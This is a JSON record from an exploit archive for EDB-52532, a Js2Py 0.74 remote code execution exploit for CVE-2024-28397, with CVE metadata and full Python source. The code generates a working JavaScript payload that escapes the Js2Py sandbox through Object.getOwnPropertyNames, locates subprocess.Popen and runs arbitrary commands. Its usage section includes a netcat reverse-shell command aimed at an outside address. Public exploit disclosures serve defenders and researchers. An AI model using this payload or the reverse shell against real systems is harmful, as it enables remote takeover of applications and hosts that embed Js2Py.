{"exploit":{"id":"EDB-52532","name":"Js2Py 0.74 - Remote Code Execution (RCE)","description":"Js2Py 0.74 - Remote Code Execution (RCE)","cves":["CVE-2024-28397"],"author":"alisunbul","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52532","path":"exploits/multiple/webapps/52532.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52532.py","vulnerabilities":[{"id":"CVE-2024-28397","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue in the component js2py.disable_pyimport() of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-28397","cvss":{"version":"3.1","baseScore":5.3,"severity":"medium","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-28397"},"updatedAt":"2024-08-02T00:56:57.584Z","retrievedAt":"2026-11-25T16:15:50.552Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52532.png?v=2","url":"https://exploitbin.com/exploits/EDB-52532","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52532/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52532/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Exploit Title: Js2Py 0.74 -  RCE\nDate: 2026-02-03\nExploit Author: Ali Sünbül (xeloxa) <alisunbul@proton.me>\nAuthor Page: https://github.com/xeloxa\nVendor Homepage: https://github.com/PiotrDabkowski/Js2Py\nSoftware Link: https://pypi.org/project/Js2Py/\nVersion: <= 0.74\nTested on: macOS, Linux (Python 3.x)\nCVE: CVE-2024-28397\n\nDescription:\n  This tool generates a malicious JavaScript payload to exploit CVE-2024-28397.\n  The vulnerability in `js2py` allows escaping the sandbox via `Object.getOwnPropertyNames`\n  to access the `subprocess.Popen` class and execute arbitrary commands on the host.\n\n  This script acts as a payload generator. You must inject the generated output\n  into the vulnerable input field of the target application.\n\nUsage:\n  python3 exploit.py -c \"id\" > payload.js\n  python3 exploit.py -c \"nc -e /bin/bash 10.10.10.10 4444\"\n\"\"\"\n\nimport argparse\nimport sys\n\ndef generate_payload(command: str) -> str:\n    \"\"\"\n    Generates the JavaScript payload to escape the sandbox and execute the command.\n\n    Args:\n        command (str): The system command to execute.\n\n    Returns:\n        str: The malicious JavaScript payload.\n    \"\"\"\n    # Escape double quotes to prevent syntax errors in the JS string\n    safe_command = command.replace('\"', '\\\\\"')\n\n    # The payload uses a recursive search to find subprocess.Popen starting from a leaked\n    # Python object wrapper.\n    payload = \"\"\"\n    var output = \"Initial\";\n    try {\n        // 1. Obtain a PyObjectWrapper via Object.getOwnPropertyNames({})\n        // On Python 3, this returns a wrapped dict_keys object, exposing python internals.\n        var leaked_wrapper = Object.getOwnPropertyNames({});\n\n        // 2. Access the python 'object' class via __class__.__base__\n        var object_class = leaked_wrapper.__getattribute__(\"__class__\").__base__;\n\n        // 3. Define a recursive function to find subprocess.Popen\n        function find_popen(cls) {\n            var subs = cls.__subclasses__();\n            for (var i = 0; i < subs.length; i++) {\n                var item = subs[i];\n                try {\n                    if (item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") {\n                        return item;\n                    }\n                } catch (e) {\n                    // Ignore access violations during traversal\n                }\n\n                // Recursively search, avoiding 'type' to prevent infinite recursion\n                if (item.__name__ != \"type\") {\n                    try {\n                        var result = find_popen(item);\n                        if (result) return result;\n                    } catch (e) {}\n                }\n            }\n            return null;\n        }\n\n        // 4. Find Popen\n        var Popen = find_popen(object_class);\n\n        if (Popen) {\n            // 5. Execute the command using Popen.communicate() to capture stdout/stderr\n            var res = Popen(\"COMMAND_PLACEHOLDER\", -1, null, -1, -1, -1, null, null, true).communicate();\n            output = res;\n        } else {\n            output = \"Error: Could not find subprocess.Popen\";\n        }\n    } catch (e) {\n        output = \"Error during exploit execution: \" + e;\n    }\n    output\n    \"\"\"\n    return payload.replace(\"COMMAND_PLACEHOLDER\", safe_command)\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(\n        description=\"Payload Generator for CVE-2024-28397 (Js2Py Sandbox Escape)\",\n        formatter_class=argparse.RawDescriptionHelpFormatter\n    )\n    parser.add_argument(\"-c\", \"--command\", help=\"Command to execute on the target (default: id)\", default=\"id\")\n\n    args = parser.parse_args()\n\n    # Generate and print only the payload code\n    payload = generate_payload(args.command)\n    print(payload)\n\nif __name__ == \"__main__\":\n    main()","sha256":"833bf0be1488b6f3f07f4a0d39787b13a4932385fac1b1d54de44e46c42e95d0","bytes":3779,"fetchedAt":"2026-11-26T11:17:12.212Z","encoding":"utf-8 (display only; download retains original bytes)"}